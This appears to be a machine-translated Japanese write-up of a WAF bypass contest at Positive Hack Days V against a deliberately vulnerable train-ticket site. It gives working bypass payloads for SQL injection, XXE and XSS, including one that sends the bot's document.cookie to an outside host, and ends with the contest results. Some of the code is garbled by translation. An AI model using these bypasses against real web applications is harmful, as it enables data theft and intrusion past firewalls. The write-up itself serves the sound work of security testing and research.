Positive Hack Days VでのWAFバイパスコンテスト





昨年と同様、WAFバイパスは、実用的な安全性のためにポジティブハックデイズ国際フォーラムで開催されました。 参加者のタスクは、 PT Application Firewall 、Positive TechnologiesのWebファイアウォールの保護を回避することです。 特にコンテストでは、Choo Choo Roads Webサイトが典型的な脆弱性(クロスサイトスクリプティング、SQLインジェクション、XML外部エンティティインジェクション、オープンリダイレクトなど)で作成されました。テストラウンドの結果、各脆弱性に対してMD5フラグが与えられました。 フラグは、Seleniumを使用して記述された特別なボットに割り当てられたCookieパラメーターのファイルシステム、データベースにありました。







競争のためのWAF構成には回避策が含まれていましたが、結果に基づいて、非標準のソリューションが得られました。 実際、この目的のために競争が作成されました-参加者がチェックを回避するために手を試すことができ、それによって製品保護メカニズムを改善するのに役立ちます。 そのため、脆弱性とそのバイパスのレビューを開始します。



ウォームアップ



この脆弱性は、サイト上のユーザーアクティビティを追跡するスクリプトに存在します。



 POST /online.php HTTP / 1.1
ホスト:choo-choo.phdays.com
接続:キープアライブ
コンテンツの長さ:24
コンテンツタイプ:アプリケーション/ json
ユーザーエージェント:Mozilla / 5.0(X11; Linux x86_64)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 31.0.1650.48 Safari / 537.36

 {「タイムスタンプ」:1432906707}


POSTリクエストのJSONデータの「タイムスタンプ」フィールドの値は、SQLリクエストで使用される前に検証されませんでした。



 <br />
 <b>警告</ b>:pg_query():クエリに失敗しました:エラー:整数の入力構文が無効です: "1432906707 '"
行1:UPDATEアクティビティSETタイムスタンプ= '1432906707' '' WHERE id = 1
                                         ^ <b> 8 </ b> <br />の<b> /var/www/php/online.php </ b>の行
 {"ok":false}


Content-Typeをたとえばtext / xmlに変更することでチェックをバイパスすることができました。その結果、POSTデータはJSONとして処理されませんでした(チェックは無効になりました)。



  <br />
 <b>警告</ b>:pg_query():クエリに失敗しました:エラー:整数の入力構文が無効です: "d2a5400fc306d25b6886612cd203a77e | 26.05 15:30-産業独占企業のChoo Choo Roadsが鉄道建設の政府契約を獲得しました" var / www / php / online.php </ b>行<b> 8 </ b> <br />
 {"ok":false}


XSD検証



サイトでチケットを検索するためのフォームがありました。これは、XMLを生成し、バックエンドのリクエストを送信することで実行されました。



 POST /tickets.php HTTP / 1.1
ホスト:choo-choo.phdays.com
接続:キープアライブ
コンテンツの長さ:220
 Content-Type:テキスト/ xml

 <search id = "RAILWAYS14329105659180.522099320078" xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation = "tickets.xsd">
	 <from>モスクワ</ from>
	 <to>サンクトペテルブルグ</ to>
	 <date> 2015年5月30日</ date>
 </ search>


XML要求では、XSDスキームが使用されました。



 <?xml version = "1.0" encoding = "UTF-8"?>
 <xs:スキーマxmlns:xs = "http://www.w3.org/2001/XMLSchema">
     <xs:要素名= "検索">
       <xs:complexType>
         <xs:シーケンス>
           <xs:要素名= "from"タイプ= "xs:文字列" />
           <xs:要素名= "to"タイプ= "xs:文字列" />
           <xs:要素名= "日付"タイプ= "xs:文字列" />
         </ xs:シーケンス>
         <xs:属性名= "id"使用= "必須">
             <xs:simpleType>
             <xs:制限ベース= "xs:文字列">
               <xs:長さの値= "35" />
             </ xs:制限>
           </ xs:simpleType>
         </ xs:属性>
       </ xs:complexType>
     </ xs:element>
 </ xs:スキーマ>


スキームによると、id属性の長さは35文字でなければなりません。 属性値は検証なしでSQLクエリに分類されました。 バイパスするには、XSDスキームの要件を満たすベクターを構築する必要がありました。



 <search id = "');フラグからボックス(フラグ)を選択--____">


 <search id = "'); select flag :: int from flag-">


オープンリダイレクト



この脆弱性は、「redirect.php」スクリプトの「to」パラメータに存在していました。 フラグは、リダイレクトが行われたURLのフラグメント部分で送信されました。つまり、サーバー部分には送信されませんでした。 フラグを取得するには、location.hashから値を抽出してロガーに送信するページを含むサードパーティのサイトにボットを送信する必要がありました。



回避策:





XML外部エンティティインジェクション



XML処理スクリプトはXXEに公開されました。 回避策として、パラメータエンティティ内で外部エンティティを使用する必要がありました。



  <!DOCTYPE検索[
 <!ENTITY%asd "<!ENTITY%asd1 SYSTEM 'flag'>">
 %asd;
 %asd1;
 ]> 


UTF-16エンコーディングを使用してバイパスすることもできました。



 <?xml version = "1.0" encoding = "UTF-16"?>


クロスサイトスクリプティング



この脆弱性は、サイト検索ページに記載されています。 フラグを取得するには、サイトにボットCookieを送信する必要がありました。 バイパスするために、ブートストラップ検証ライブラリによって処理される非標準のタグ属性を使用して、JSコードを実行できるようにしました。



  http://choo-choo.phdays.com/index.php?search=<form+data-toggle="validator"><div+data-match="<img+src%3Dhttp://test.com+ onerror%3Dthis.src%2B%3Ddocument.cookie /> "> </ div> </ form> 




または:





結果







昨年と同様に、最初の場所はブッシュワッカーのチーム、Georgy Noseevich、Andrey Petukhov、Alexander Razdobarovでした。 彼らは初日にすべてのタスクを解決しました! 2位はミハイルステパンキン(ArtSploit)、3位はエルダーザイトフ(kyprizel) でした 。 そもそもiPad Air 2を手渡し、2番目-Sony Xperia Z3、3番目-Burp Suite Professionalプログラムの年間ライセンスを手渡しました。



コンテスト中、 271,390件のリクエストがブロックされました(昨年の2倍)。 302人の参加者が登録されました(昨年101)。 少なくとも1つの旗を獲得できたのは18人だけでした。







すべての参加者に感謝します!



All Articles